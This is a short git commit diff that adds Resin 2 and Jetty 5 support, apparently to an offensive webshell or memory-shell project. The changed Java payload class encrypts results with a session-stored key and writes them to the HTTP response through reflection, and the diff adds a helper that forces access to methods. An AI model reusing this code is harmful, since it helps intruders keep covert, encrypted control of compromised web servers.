feat: support resin2 and jetty5

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent af4c8b1d63
commit 1243e59ac2
51 changed files with 3426 additions and 226 deletions
@@ -41,11 +41,11 @@ public class Test {
getOutputStreamMethod.setAccessible(true);
so = getOutputStreamMethod.invoke(this.Response);
}
Method write = so.getClass().getMethod("write", byte[].class);
Method write = getMethod(so, "write", new Class[]{byte[].class});
String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
getMethod(so, "flush", new Class[0]).invoke(so);
getMethod(so, "close", new Class[0]).invoke(so);
} catch (Exception e) {
e.printStackTrace();
}
@@ -53,6 +53,23 @@ public class Test {
return true;
}
private Method getMethod(Object obj, String methodName, Class[] parameterTypes) throws Exception {
Method method = null;
Class clazz = obj.getClass();
while (clazz != null && method == null) {
try {
method = clazz.getDeclaredMethod(methodName, parameterTypes);
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
method = obj.getClass().getMethod(methodName, parameterTypes);
}
method.setAccessible(true);
return method;
}
private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
byte[] raw = key.getBytes("utf-8");